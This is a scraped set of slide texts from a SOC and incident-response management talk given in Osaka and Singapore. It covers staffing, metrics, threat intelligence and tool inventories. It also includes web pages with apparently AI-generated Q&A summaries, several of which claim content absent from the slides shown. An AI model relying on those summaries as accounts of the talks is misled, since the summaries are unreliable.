Workstation, CobaltStrike , Trackwise Change Management, Tripwire, PowerShell DSC, CaseFile , Maltego , FRED workstation, Burp Professional, Hopper, JEB Analysis Example Enterprise RecordedFuture , Crowdstrike , CarbonBlack , Tivoli, Cisco NetFlow, iSIGHTVisibility (External Awareness) Avaya, Silent Circle, iOS phones, PKI signed user certs Communication Service Now, Phantom(Splunk), Remedy Ops Tableau, Fireeye HX, CarbonBlack Protect, Encase eDiscovery, Cylance Protect, McAfee FDE, Cellebrite UFED, Cisco FirePOWER , Splunk, Solera, Arbor Network, Cisco wIPS , Palo Alto, Fireeye AX, McAfee Skyhigh , Splunk Enterprise SecDetection & Prevention Tenable LCE, data lake from SIEM, SANS LUNs, Safe with logging and per user access control, Commercial degausser Storage Authentic8, VMWare vSphere, redundant non -attributable network, Javelin Networks, Cymmetria MazeRunner , Joe Sandbox Deception VMWare Workstation, CobaltStrike , CaseFile , Maltego , FRED workstation, Burp Professional, IDA Pro, CoreImpact , Rapid7 Nexpose, ServiceNow (change control), McAfee ePolicy Auditor, Chef/Puppet, Crowstrike Falcon X, Cisco AMP, Cellebrite UFED 4PC, Encase Enterprise, Tenable SC Analysis Technology Selection Issues •Whatever technologies are selected, each changes with some frequency and must be kept up to date •SIEM in particular, but all other tools require dedicated staff to keep it tuned and operating effectively. Dedicate time for this •This is sometimes transferred to a managed service provider (MSP/MSSP) Technology Maintenance Issues •SOC relation to standard IT? •Oversight •Embedded •Coordinating •Figure out what you’re going for •Sequence of maturity is usually: •Embedded (security activity in name only) •Coordination / Oversight (separate to grow) •Embedded (mature organization with clear picture of what is needed and optimizes) Oversight Coordination Embedded Resolutions: Staff Inadequate Funding Staff Funding Issues •Difficult time asking for more staff •Service Level Objectives (SLOs) help prioritize •SOC / CIRT is a cost center: loss prevention •Attackers are profit centers for their organizations •If one organization’s loss center is pitted against another organization’s profit center, the profit center will win in the long term. This is the best way to explain the struggle to your management Resolutions: Staff Skillset Staff Skillset Improvement •Staff issues •Inadequate funding for staff •Staff with wrong or deficient skillset •No development program Resolutions: Staff Development Program Training, Exercise, and Practice •Seek funding for external training •Cultivate internal training development •Practice tasks – required time practicing •Scripts, Internal tools – 2 hours per week, required, for example •Encourage external presentation by paying for travel to conferences if staff are approved for presentations Training, Exercise, and Practice •You should develop training & certification plans per staff role •Each role has certs that are •Required for hire (or completion within x days of hire) •Standard training plan sequence •Optional to training plan (but company will pay for) Monthly Staff Presentations •SOC staff rotates on presenting current technique, issue or problem •This can be an unresolved problem, seeking input and assistance from all SOC areas •Opportunity to share methodology, thought processes, and tools •Should be a formal presentation (slides, Q+A) Quarterly Internal Training Development •External training is limited due to lack of time and/or funding •Resolution: Develop internal exercises •Quarterly release of new exercise •Based on current issues and events •Additionally, results in exercises useful for: interviews, onboarding, and keeping staff sharp Analytical Methodology •Almost no organizations that I encounter have a methodology in place for performing analysis •There should be a training on analysis as well – few places have this •SANS SEC511 has some of it, ChrisSanders.org has an analysis class online •I’ll discuss Analysis of Competing of Hypothesis (ACH) next ACH Spam ExampleMalware drive by download attemptPhone actually infectedTargeted not from site, but fro m network user is on Site Accessed when ad showed5 2 3 Bad Grammar 3 3 3 Compulsion to risky action3.5 3 3.5 Advertised only on one site7 1 2 Threatening? 3.5 3 3.5 Reputation weight of domain? 4 3 3 Total: 26 15 18 Analysis of Competing Hypothesis (ACH) Template Incident Type Hypothesis 1 Hypothesis 2 Hypothesis 3 … Data 1 Data 2 Data 3 Data 4 … Richards J Heuer – Analysis of Competing Hypothesis Book Download AvailableProbably a good idea to develop something like these templates for use in your environment as an analytical tool. It forces externalization and objective practice Resolutions: Staff Retention What Motivates People to Stay? •Money •Connection with industry leaders •Training •Fulfillment •Belief in mission Excellent Talk from Alissa Torres •SANS 2018 Security Operations Summit talk on staff •You tube video available: https://mgt517.com/Alissa -2018 Summary of Issues Discussed •Mis-alignment of organizational need with implemented structure •Inadequate feedback loop between security and customers / constituents •Inadequate threat intelligence •Response capability not empowered to perform response •Technology selected not implemented well or poor match for the need •Staff issues •Inadequate funding for staff •Staff present with wrong or deficient skillset •Development program •Retention Action Items Train your weakness, not your strength •Develop and report useful metrics •Deliver a consistent, quantitative expression of impact •Understand organization assets, or have category based planning •Use threat intelligence from outside and build it yourself •Engage with appropriate ISAC •Practice incident response (IR) with system owners •Inventory SOC technology and develop better glue between systems •Internal and external development and training The End •Thank you •Follow up contact: @CCrowMontance chris@montance.com --- ## Source: https://montance.com/questions.php?id=114 [![pdf](content/images/icons/pdf.svg) CIRT CERT CSIRT SOC Osaka.pdf](https://drive.google.com/file/d/1imbGsfY9G5-wQ2vgv0gvnXvsxCamixw_/view?usp=drive_link) CIRT CERT CSIRT SOC Osaka Presentation covering Management titled 'CIRT CERT CSIRT SOC Osaka'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the main theme of the Osaka SOC Brief? A: Common Sense SOC Tactics & Strategies: Advice on Overcoming Challenges. * Q: What are the three main challenges identified for Osaka-based SOCs? A: Language barriers in threat intel, staffing shortages, and integration of legacy systems. * Q: What is the recommended strategy for handling 'Alert Fatigue'? A: Implementing better correlation rules and utilizing automation for low-level alerts. * Q: What role does 'Cultural Context' play in Japanese SOCs? A: High-context communication style requires distinct reporting structures compared to Western SOCs. * Q: What specific tool is recommended for 'Network Visibility' in this brief? A: Zeek (formerly Bro) or similar open-source NIDS. * Q: What is the 'Fusion Center' concept discussed? A: Combining SOC, CERT, and Threat Intel functions into a single collaborative unit. * Q: What metrics are suggested for measuring SOC effectiveness in this region? A: Time to Triage and Time to Qualify incidents. * Q: What is the advice regarding 'Vendor Reliance'? A: Avoid over-reliance on a single vendor; build internal capability to validate vendor findings. * Q: How should 'Shift Handovers' be managed? A: Using structured, written logs and overlap periods for verbal briefing. * Q: What is the 'Continuous Improvement' cycle mentioned? A: Plan-Do-Check-Act (PDCA) applied to SOC processes. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1imbGsfY9G5-wQ2vgv0gvnXvsxCamixw_/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1imbGsfY9G5-wQ2vgv0gvnXvsxCamixw_/view?usp=drive_link]** CIRT, CERT, CSIRT, SOC, CSOC, Fusion Center Many Names, Similar Mission: Stop the Latest Attacks. How can You Make it Work? Introduction Christopher Crowley – SANS Senior Instructor •Background: started working in computers in 1988, before security was much of a concern. Had root on most systems in employer at 15 years old •Has worked in several sectors: Education, Energy, Government, Software Development, Defense, Financial, Telecommunications •Currently: Consultant, author of MGT517: Security Operations. Teaches: MGT517, SEC511, SEC575, … •Consultant, with focus on overall operations •Currently traveling in Japan with family for vacation Twitter: CCrowMontance Crow? Presentation Available to Download https://mgt517.com/2018 -10-osaka Current Trends One Example •I usually like to spend time discussing current issues. •This presentation is so long, we won’t be able to cover it all, so I’m going to mention just one example •I’m including all this material in case you want to review it later, so I express my complete vision even if I can’t deliver all of the material in enough detail •Bloomberg supply chain, Supermicro: https://mgt517.com/china -2018 Full Spectrum Capability •The US DOD Defense Science Board describes adversaries in six tiers •The top tier attackers are nations state funded, and are in the “Billion Dollar Club” in capability of spending •This type of attacker can bring the full capability of traditional intelligence capability Terminology Terminology •CIRT / CERT / CSIRT •Cyber Incident Response Team / Cyber Emergency Response Team / Cyber Security Incident Response Team •Primarily responsive with outreach, coordination, and detective capability •C/SOC Security Operations Center / Cyber Security Operations Center •Internal Monitoring / Detection, Threat Intelligence, Response (or perhaps transfer to a CIRT/CERT), Self -Assessment •Currently a trend to build •Fusion Center/ ISAC – Information Sharing and Analysis Center •Collection, processing, and dissemination of threat intelligence with overall response direction/coordination (but not actively involved in response action) •Often a government service, or is industry specific and funded Examples •JPCERT: https://www.jpcert.or.jp •FIRST – Global Collection of IRT Forum of Incident Response Teams Examples •CSOC – Cyber Security Operations Center •MITRE / Carson Zimmerman: https://mgt517.com/csoc -mitre Functional Areas of a SOC per MGT517 Threat Intelligence Incident Response Forensics Self-Assessment Steering Committee Command Center Network Security Monitoring Common Problems Common Issues •Mis-alignment of organizational need with implemented structure •Inadequate feedback loop between security and customers / constituents •Inadequate threat intelligence •Response capability not empowered to perform response •Technology selected not implemented well or poor match for the need •Staff issues •Inadequate funding for staff •Staff present with wrong or deficient skillset •Development program Resolutions: Misalignment Inadequate Feedback Resolution to Inadequate Feedback Loop •Developing governance to address constituent need •Metrics concerning need •Example metrics on next few slides •Using SOC/CIRT to identify assets •A common issue within the organization is that asset inventory isn’t connected to procurement and risk assessment capability •If this is seen as a discovery enabler, then the SOC is helping to make positive change •Observed assets without allocation, risk assessment, appropriate incident handling, and valuation are treated as “the wilderness” •Constant effort to minimize wilderness, diminish the connectivity to the wilderness, and important data is removed from it Resolutions: Misalignment Metrics Analyst Baseball Card •Have a known set of assessment metrics for each analyst •Carson Zimmerman’s 2018 SOC Summit Keynote has a good baseball card (shown here) •https://mgt517.com /baseball Analyst Baseball Card Christopher Crowley Name Chris Preferred first name TwoGuns Callsign 2015-11-17 Join Date NSM Analyst - Senior Current Role 1 year, 1 month Time in Role 38 Alerts Triaged in last 30 days 91.40% Percent True Positive Rate 82.70% Response rate percent for customer escalation 19 Escalated cases handled in last 30 days 1:34 Mean time to close case 7 Number analytics created currently in production 28 Number detection modified currently in production 423 Total lines committed to SOC code repository in last 90 days 91.40% Success rate of queries against SIEM in last 30 days 0:09 Median run time per query 0.23 Mean lexical structure similarity in queries run in last 30 days Crowley Incident Avoidability – 1,2,3 •On a (discrete) scale of 1,2,3, was it avoidable? •1 means a measure, already available in the environment wasn’t applied and resulted in the incident •2 means a measure is available in the larger environment and something (economic, political) prevents implementing it within the organization •3 means nothing is available to prevent that method of attack •Assess every issue identified in this way1•Patch available, but not applied 2•Patch available, risk decision not to apply 3•No patch available (zero day) Impact Level Definition •Few systems (or only a specific type) •Unimportant systems •Unimportant data Low •More systems (or many common types) •Important or high value person’s, account, or system •Important data at risk Moderate •Most systems (or almost all types) •Highest level accounts, users, and systems •Business critical data High Impact Category Definition •Low – minimal function disruption •Moderate –substantial disruption •High –complete disruptionFunctional •Intellectual Property (L/M/H) •Integrity Manipulation (L/M/H) •Privacy violated (such as PII / PHI)Informational •Regular – predictable using resources on hand •Supplemented –predictable with augmented resources •Unrecoverable –data breach which cannot be undoneRecoverable Impact Quantification 3 5 9 Low Moderate High 5Functional 15 25 45 7Informational 21 35 63 9Recoverable 27 45 81 Current Incident 73 Legacy System #8 -Accounts Payable - Check Writing Resolutions: Misalignment Asset Discovery Resolution to Asset Discovery •System recording the responsible party for each system •Owner •Contact for Operations •Data experts •Boundaries •Scenarios of compromise (actual past, or industry specific) •Risk management •Incident handling specific details •Public relations point of contact •Legal requirements and notification Matrix Depiction – Part 1 - Capabilities Mapped to System Types Network Infrastructure •Owner: Dir Network •POC: Thomas Racks •Impact: Moderate - HighServer Infrastructure •Owner: CIO •POC: Thomas Racks •Impact: Low - HighWorkstations •Owner: Dir Network •POC: Thomas Racks •Impact: Moderate – HighFinancial •Owner: CFO •POC: Sarah Banks •Impact: Moderate - HighJABB •Owner: BB Acct POC •POC: Vincent Lehman •Impact: Moderate - HighAMD •Owner: AMD Acct POC •POC: Alexandra Harris •Impact: Moderate – HighGCCS •Owner: GCCS Acct POC •POC: Victoria Houston •Impact: Moderate – HighMEH •Owner: MEH Acct POC •POC: Iggy Calendula •Impact: Low - ModerateGeneric Server System •Owner: CIO •POC: SOC Manager •Impact: Low – HighGeneric System •Owner: CIO •POC: SOC Manager •Impact: Low – HighGeneric Cloud Hosted System •Owner: CIO •POC: SOC Manager •Impact: Low - High•Centralized knowledge base of known and unknown system types: reporting requirements, service level objectives (SLO), POCs, Strategies, reporting SLAs, customers, cyber insurance •Handling strategies, guidance for impact determination, IP address ranges, operating system types, exceptions, known vulnerabilities, previous incident types, associated exercises, response capabilities applied based on per -system and per - incident type •Internal dependencies, cloud contracts, external auditors, legal council Matrix Depiction – Part 2 - Capabilities List Versus Kill Chain Phase Internal CapabilityRecon Weapon - izationDelivery Exploit Install Command & ControlAction on Objectives Spam Gateway + -- ++ +- +- -- - EDR- -- + + + + +- NIDS- -- + +- + + - Network Proxy + - ++ - +- ++ + IR - Containment - -- - - - + + •List your capabilities against attacker cyber threat kill chain (or ATT&CK) phases, to know what you have at your disposal in unfamiliar circumstances Matrix Depiction – Invincea Example •Here Invincea has listed the NIST Cyber Security Framework (CSF) and identified adversary TTPs (and specific targets) cross walked to capabilities and technology Resolutions: Misalignment Threat Intelligence Inadequate Threat Intelligence •Buy It •There is a large amount of threat information available •Leveraging existing open source collection is an art because there’s a lot of noise in the available material: what do you want to know? What do you need to know? •Build It •Every incident discovered is a potential source of intelligence •Have short term and long term capability to absorb this Buy It •It takes maturity to utilize threat intelligence •Dashboards are cool to look at, but what is the analyst actually supposed to do with this? •Useful to have threat intelligence focused staff to manage the information that is provided to analysts •Might not be a full time job in your environment •Requires curation and filtering •Vendors can help (but don’t always) •(Recorded Future shown here) How to Use Open Source Intel? •Best to directly/automatically enrich the SIEM or other analyst tool with Threat Intel (TI) rather than require individuals to read and research specific information •SOC Staff TI briefs •Daily 10 minute “latest” news •Weekly 30 -60 minute detailed brief to keep them updated on current trends •Executive TI brief •Weekly or Monthly – Strategic: don’t include many details Build It – Historical / Retroactive Analysis Network Security Monitoring Network IDS Host IDSWireless IDS Malware DetonationHoneypots Network Logs Host Logs Application LogsSIEM of some kindFull PCAP Data for correlationHigh value indicators Provide alertsLong -term analysis Data mining Study of interactionHistorical assessment with new IOCs Raw data for correlation and confirmation Retroactive Analysis Example Network Security Monitoring Network IDS Host IDSWireless IDS Malware DetonationHoneypots Network Logs Host Logs Application LogsSIEM of some kindFull PCAP Data for correlationHigh value indicators Provide alertsLong -term analysis Data mining Study of interactionHistorical assessment with new IOCs Raw data for correlation and confirmation New NIDS Rules DNS logs, IP addresses, other IOCs Tactics, Techniques and Procedures (TTPs) Build It – Attribution Capability •US-CERT TA18 -275A: HIDDEN COBRA – FASTCash Campaign •US DHS, Treasury, FBI discovered capability assessed to be North Korean actors •Banks targeted are in Africa and Asia •Includes a list of illicit transaction codes •A compromised server intercepts the fraudulent transactions, drops the transaction request from reaching the payment transaction server, but sends a verified code back to the ATM to authorize the transaction •Leverages compromised servers in bank infrastructure and x200 ISO8583 payment transaction messaging protocol message manipulation •Detailed understanding required extensive in depth forensic analysis •Someone did the analysis, it could be you Share It •ISACs •Federated information sharing •Multi -SOC models Share It - ISACs •In the US, there is an ISAC coordination group of about 20 industry specific ISACs: https://www.nationalisacs.org •Defense, Energy, Education, Health, IT, Retail, Transportation, … •APCERT 2017 report cites FS -ISAC, and others: https://www.apcert.org/documents/pdf/APCERT_Annu al_Report_2017.pdf •Short story: find out where you should participate Share It – Federated •Federated information sharing can be largely decentralized, and often helps when no official avenue of information sharing is available •One of my favorite examples of an open sharing resource: https://apt.threattracking.com Share It – Federated Share It – Multi -SOC Models CompanyRegionalGlobalSOC 1 – Global Headquarters SOC 2 – APAC SOC 3 – Company 1SOC 4 – Company 2SOC 5 – Europe SOC 6 – Company ASOC 7 – Company BInform ationDirec tion Resolutions: Misalignment Response Empowerment Response Capability Empowerment •Does the police department ask permission to cordon off an area, or drive cars fast to chase criminals? Yes, they absolutely do. They have protocols, requirements, and consideration for safety of innocent people •Identify the authority to conduct response on each type of system, and what is to be done for unknown systems for containment •Use business continuity plans for eradication and remediation: don’t create new plans unless no business continuity plan exists Response Capability Empowerment •Three characters of incident response •Janitorial Services •Fire Fighters •Apex Predators •https://www.mgt517.com/ir3 Resolutions: Misalignment Technology Selection Technology Selection Issues •Inadequate “glue” to connect the different tools •Poor selection of tools for the given purpose •Often a result of buying tools prior to understanding the intended purposes •Protection scenarios expressed as “use cases” •Crowley has a presentation related to use case development that is available via the SANS site https://mgt517.com/use -case (registration required) SOC System Visibility (External Awareness)Comm - unicationOpsDetection & PreventionStorage Deception Analysis Example Open Source Twitter, news sites, threat connect, OTX, Maltego CE, MRTG, RRD toolVisibility (External Awareness) GPG, Skype, Slack, Linux servers, Communication The Hive, RTIR Ops SIFT, GRR, Winpmem /Volatility, OSSEC, syslog, SecurityOnion , ELK, Wireshark, Kismet, Cuckoo Detection & Prevention MySQL, Postgresql , syslog, ELK Storage Tor, public access, Remnux , ADHD, Canary tokens, Kippo Deception Virtualbox , GDB, Immunity, Metasploit, radare2, STIGs, Timesketch , Maltego CE, Yara, SIFT, Burp, Arachni , JaD-X Analysis Example Moderate Threat Connect, OTX, Maltego , What’s UpVisibility (External Awareness) Vonage Cloud, Shoretel , Exchange PKI, Microsoft Teams, AWS EC2, Communication CyberCPR , Jira+Confluence , Demisto , ZenDesk , Ops SafeBack , FTK, F -response, Tripwire, Windows Defender, AppLocker, Bitlocker , Fortinet, NetWitness , LogRhythm, ProofPoint , Tripwire, AirDefense , LogRhythm, AlienVaultDetection & Prevention AWS EC2, Azure, Dropbox, Shredding / IronMountain Storage Cable / DSL connection, VMWare Workstation, Honeybot , Authentic8 Deception VMWare Workstation, CobaltStrike , Trackwise Change Management, Tripwire, PowerShell DSC, CaseFile , Maltego , FRED workstation, Burp Professional, Hopper, JEB Analysis Example Enterprise RecordedFuture , Crowdstrike , CarbonBlack , Tivoli, Cisco NetFlow, iSIGHTVisibility (External Awareness) Avaya, Silent Circle, iOS phones, PKI signed user certs Communication Service Now, Phantom(Splunk), Remedy Ops Tableau, Fireeye HX, CarbonBlack Protect, Encase eDiscovery, Cylance Protect, McAfee FDE, Cellebrite UFED, Cisco FirePOWER , Splunk, Solera, Arbor Network, Cisco wIPS , Palo Alto, Fireeye AX, McAfee Skyhigh , Splunk Enterprise SecDetection & Prevention Tenable LCE, data lake from SIEM, SANS LUNs, Safe with logging and per user access control, Commercial degausser Storage Authentic8, VMWare vSphere, redundant non -attributable network, Javelin Networks, Cymmetria MazeRunner , Joe Sandbox Deception VMWare Workstation, CobaltStrike , CaseFile , Maltego , FRED workstation, Burp Professional, IDA Pro, CoreImpact , Rapid7 Nexpose, ServiceNow (change control), McAfee ePolicy Auditor, Chef/Puppet, Crowstrike Falcon X, Cisco AMP, Cellebrite UFED 4PC, Encase Enterprise, Tenable SC Analysis Technology Selection Issues •Whatever technologies are selected, each changes with some frequency and must be kept up to date •SIEM in particular, but all other tools require dedicated staff to keep it tuned and operating effectively. Dedicate time for this •This is sometimes transferred to a managed service provider (MSP/MSSP) Resolutions: Staff Inadequate Funding Staff Funding Issues •Difficult time asking for more staff •Service Level Objectives (SLOs) help prioritize •SOC / CIRT is a cost center: loss prevention •Attackers are profit centers for their organizations •If one organization’s loss center is pitted against another organization’s profit center, the profit center will win in the long term. This is the best way to explain the struggle to your management Resolutions: Staff Skillset Staff Skillset Improvement •Staff issues •Inadequate funding for staff •Staff present with wrong or deficient skillset •Development program Resolutions: Staff Development Program Training, Exercise, and Practice •Seek funding for external training •Cultivate internal training development •Practice tasks – required time practicing •Scripts, Internal tools – 2 hours per week, required, for example •Encourage external presentation by paying for travel to conferences if staff are approved for presentations Training, Exercise, and Practice •You should develop training & certification plans per staff role •Each role has certs that are •Required for hire (or completion within x days of hire) •Standard training plan sequence •Optional to training plan (but company will pay for) Monthly Staff Presentations •SOC staff rotates on presenting current technique, issue or problem •This can be an unresolved problem, seeking input and assistance from all SOC areas •Opportunity to share methodology, thought processes, and tools •Should be a formal presentation (slides, Q+A) Quarterly Internal Training Development •External training is limited due to lack of time and/or funding •Resolution: Each functional area develops an exercise •Quarterly release of new exercise •Based on current issues and events •Additionally, results in exercises useful for: interviews, onboarding, and keeping staff sharp Analytical Methodology •Almost no organizations that I encounter have a methodology in place for performing analysis •There should be a training on analysis as well – few places have this •SANS SEC511 has some of it, ChrisSanders.org has an analysis class online •I’ll discuss Analysis of Competing of Hypothesis (ACH) next ACH Spam ExampleMalware drive by download attemptPhone actually infectedTargeted not from site, but fro m network user is on Site Accessed when ad showed5 2 3 Bad Grammar 3 3 3 Compulsion to risky action3.5 3 3.5 Advertised only on one site7 1 2 Threatening? 3.5 3 3.5 Reputation weight of domain? 4 3 3 Total: 26 15 18 Analysis of Competing Hypothesis (ACH) Template Incident Type Hypothesis 1 Hypothesis 2 Hypothesis 3 … Data 1 Data 2 Data 3 Data 4 … Richards J Heuer – Analysis of Competing Hypothesis Book Download AvailableProbably a good idea to develop something like these templates for use in your environment as an analytical tool. It forces externalization and objective practice Summary of Issues Discussed •Mis-alignment of organizational need with implemented structure •Inadequate feedback loop between security and customers / constituents •Inadequate threat intelligence •Response capability not empowered to perform response •Technology selected not implemented well or poor match for the need •Staff issues •Inadequate funding for staff •Staff present with wrong or deficient skillset •Development program Recap of Terminology •CIRT / CERT / CSIRT •Cyber Incident Response Team / Cyber Emergency Response Team / Cyber Security Incident Response Team •Primarily responsive with outreach, coordination, and detective capability •C/SOC Security Operations Center / Cyber Security Operations Center •Monitoring / Detection, Threat Intelligence, Response (or perhaps transfer to a CIRT/CERT), Self -Assessment •Currently a trend to build •Fusion Center/ ISAC – Information Sharing and Analysis Center •Collection, processing, and dissemination of threat intelligence with overall response direction/coordination (but not actively involved in response action) •Often a government service, or is industry specific and funded Action Items Train your weakness, not your strength •Develop and report useful metrics •Deliver a consistent, quantitative expression of impact •Understand organization assets, or have category based planning •Use threat intelligence from outside and build it yourself •Engage with JP -CERT and appropriate ISAC •Practice incident response (IR) with system owners •Inventory SOC technology and develop better glue between systems •Internal and external development and training Thank you The End •People need to work together to resolve this issue •Usually at the end of a presentation, I would ask for questions •In Japan, this rarely seems to work. So, I want to try to do something different. I am willing to try different things to see what works, it is part of my personal program for improvement. •I’d like there to be a discussion ( 対話 ) among the attendees about what each person has attempted to do in his or her organization to improve the circumstances at the employer. •Please say one thing that has worked and how it worked, or one thing that has not worked and why it didn’t work. --- ## Source: https://montance.com/questions.php?id=115 [![pdf](content/images/icons/pdf.svg) CIRT CERT CSIRT SOC Singapore.pdf](https://drive.google.com/file/d/1inbBVDicr51h0WK81HYPXbc78bBBf7cp/view?usp=drive_link) CIRT CERT CSIRT SOC Singapore Presentation covering Management titled 'CIRT CERT CSIRT SOC Singapore'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What distinguishes the Singapore SOC landscape according to this presentation? A: High regulatory compliance pressure (MAS TRM) and a strong focus on government-led initiatives. * Q: What is the 'Smart Nation' initiative's impact on SOCs? A: Increased need for OT/IoT security monitoring and integration with traditional IT SOCs. * Q: What is the primary recommendation for 'Talent Retention' in Singapore? A: Providing clear career paths, training budgets, and rotation opportunities. * Q: What is 'Threat Hunting' defined as in this brief? A: The proactive search for adversaries who have evaded preventative controls. * Q: What framework is recommended for Singaporean financial institutions? A: MAS TRM Guidelines (Monetary Authority of Singapore Technology Risk Management). * Q: What is the role of 'Government CSIRTs' like SingCERT? A: To provide national-level threat intelligence and coordination for critical infrastructure. * Q: What is the 'Active Defense' strategy mentioned? A: Engaging adversaries within your own network to consume their resources and gather intelligence (e.g., honeypots). * Q: What is the recommended ratio of Tier 1 to Tier 2 analysts? A: Approximately 4:1 or 5:1 depending on automation levels. * Q: How is 'Cloud Security' addressed in this brief? A: By recommending cloud-native monitoring tools and integration with cloud provider APIs (e.g., AWS CloudTrail). * Q: What is the 'Cyber Drill' recommendation? A: Conducting regular, realistic attack simulations to test people and processes. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1inbBVDicr51h0WK81HYPXbc78bBBf7cp/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1inbBVDicr51h0WK81HYPXbc78bBBf7cp/view?usp=drive_link]** CIRT, CERT, CSIRT, SOC, CSOC, Fusion Center Many Names, Similar Mission: Stop the Latest Attacks. How can You Make it Work? Introduction Christopher Crowley – SANS Senior Instructor •Background: started working in computers in 1988, before security was much of a concern. Had root on most systems in employer at 15 years old •Has worked in several sectors: Education, Energy, Government, Software Development, Defense, Financial, Telecommunications •Currently: Consultant, author of MGT517: Security Operations. Teaches: MGT517, SEC511, SEC575, … •Consultant, with focus on overall operations •Currently traveling in Japan with family for vacation Twitter: CCrowMontance Crow? Presentation Available to Download https://mgt517.com/2018 -10-sing Current Trends One Example •I usually like to spend time discussing current issues. •This presentation is so long, we won’t be able to cover it all, so I’m going to mention just one example •I’m including all this material in case you want to review it later, so I express my complete vision even if I can’t deliver all of the material in enough detail •Bloomberg supply chain, Supermicro: https://mgt517.com/china -2018 Bloomberg Public Responses Full Spectrum Capability •The US DOD Defense Science Board describes adversaries in six tiers •The top tier attackers are nations state funded, and are in the “Billion Dollar Club” in capability of spending •This type of attacker can bring the full capability of traditional intelligence capability Terminology Terminology •CIRT / CERT / CSIRT •Cyber Incident Response Team / Cyber Emergency Response Team / Cyber Security Incident Response Team •Primarily responsive with outreach, coordination, and detective capability •C/SOC Security Operations Center / Cyber Security Operations Center •Internal Monitoring / Detection, Threat Intelligence, Response (or perhaps transfer to a CIRT/CERT), Self -Assessment •Currently a trend to build •Fusion Center/ ISAC – Information Sharing and Analysis Center •Collection, processing, and dissemination of threat intelligence with overall response direction/coordination (but not actively involved in response action) •Often a government service, or is industry specific and funded Examples •FIRST – Forum of Incident Response Teams •APCERT – Asia Pacific Region •SINGCERT: https://www.csa.gov.sg/singcert Examples •CSOC – Cyber Security Operations Center •MITRE / Carson Zimmerman: https://mgt517.com/csoc -mitre Functional Areas of a SOC per MGT517 Threat Intelligence Incident Response Forensics Self-Assessment Steering Committee Command Center Network Security Monitoring Common Problems Common Issues •Mis-alignment of organizational need with implemented structure •Inadequate feedback loop between security and customers / constituents •Inadequate threat intelligence •Response capability not empowered to perform response •Technology selected not implemented well or poor match for the need •Staff issues •Inadequate funding for staff •Staff present with wrong or deficient skillset •Development program Resolutions: Misalignment Inadequate Feedback Resolution to Inadequate Feedback Loop •Developing governance to address constituent need •Metrics concerning need •Example metrics on next few slides •Using SOC/CIRT to identify assets •A common issue within the organization is that asset inventory isn’t connected to procurement and risk assessment capability •If this is seen as a discovery enabler, then the SOC is helping to make positive change •Observed assets without allocation, risk assessment, appropriate incident handling, and valuation are treated as “the wilderness” •Constant effort to minimize wilderness, diminish the connectivity to the wilderness, and important data is removed from it Resolutions: Misalignment Metrics Analyst Baseball Card •Have a known set of assessment metrics for each analyst •Carson Zimmerman’s 2018 SOC Summit Keynote has a good baseball card (shown here) •https://mgt517.com /baseball Analyst Baseball Card Christopher Crowley Name Chris Preferred first name TwoGuns Callsign 2015-11-17 Join Date NSM Analyst - Senior Current Role 1 year, 1 month Time in Role 38 Alerts Triaged in last 30 days 91.40% Percent True Positive Rate 82.70% Response rate percent for customer escalation 19 Escalated cases handled in last 30 days 1:34 Mean time to close case 7 Number analytics created currently in production 28 Number detection modified currently in production 423 Total lines committed to SOC code repository in last 90 days 91.40% Success rate of queries against SIEM in last 30 days 0:09 Median run time per query 0.23 Mean lexical structure similarity in queries run in last 30 days Crowley Incident Avoidability – 1,2,3 •On a (discrete) scale of 1,2,3, was it avoidable? •1 means a measure, already available in the environment wasn’t applied and resulted in the incident •2 means a measure is available in the larger environment and something (economic, political) prevents implementing it within the organization •3 means nothing is available to prevent that method of attack •Assess every issue identified in this way1•Patch available, but not applied 2•Patch available, risk decision not to apply 3•No patch available (zero day) Impact Level Definition •Few systems (or only a specific type) •Unimportant systems •Unimportant data Low •More systems (or many common types) •Important or high value person’s, account, or system •Important data at risk Moderate •Most systems (or almost all types) •Highest level accounts, users, and systems •Business critical data High Impact Category Definition •Low – minimal function disruption •Moderate –substantial disruption •High –complete disruptionFunctional •Intellectual Property (L/M/H) •Integrity Manipulation (L/M/H) •Privacy violated (such as PII / PHI)Informational •Regular – predictable using resources on hand •Supplemented –predictable with augmented resources •Unrecoverable –data breach which cannot be undoneRecoverable Impact Quantification 3 5 9 Low Moderate High 5Functional 15 25 45 7Informational 21 35 63 9Recoverable 27 45 81 Current Incident 73 Legacy System #8 -Accounts Payable - Check Writing Resolutions: Misalignment Asset Discovery Resolution to Asset Discovery •System recording the responsible party for each system •Owner •Contact for Operations •Data experts •Boundaries •Scenarios of compromise (actual past, or industry specific) •Risk management •Incident handling specific details •Public relations point of contact •Legal requirements and notification Matrix Depiction – Part 1 - Capabilities Mapped to System Types Network Infrastructure •Owner: Dir Network •POC: Thomas Racks •Impact: Moderate - HighServer Infrastructure •Owner: CIO •POC: Thomas Racks •Impact: Low - HighWorkstations •Owner: Dir Network •POC: Thomas Racks •Impact: Moderate – HighFinancial •Owner: CFO •POC: Sarah Banks •Impact: Moderate - HighJABB •Owner: BB Acct POC •POC: Vincent Lehman •Impact: Moderate - HighAMD •Owner: AMD Acct POC •POC: Alexandra Harris •Impact: Moderate – HighGCCS •Owner: GCCS Acct POC •POC: Victoria Houston •Impact: Moderate – HighMEH •Owner: MEH Acct POC •POC: Iggy Calendula •Impact: Low - ModerateGeneric Server System •Owner: CIO •POC: SOC Manager •Impact: Low – HighGeneric System •Owner: CIO •POC: SOC Manager •Impact: Low – HighGeneric Cloud Hosted System •Owner: CIO •POC: SOC Manager •Impact: Low - High•Centralized knowledge base of known and unknown system types: reporting requirements, service level objectives (SLO), POCs, Strategies, reporting SLAs, customers, cyber insurance •Handling strategies, guidance for impact determination, IP address ranges, operating system types, exceptions, known vulnerabilities, previous incident types, associated exercises, response capabilities applied based on per -system and per - incident type •Internal dependencies, cloud contracts, external auditors, legal council Matrix Depiction – Part 2 - Capabilities List Versus Kill Chain Phase Internal CapabilityRecon Weapon - 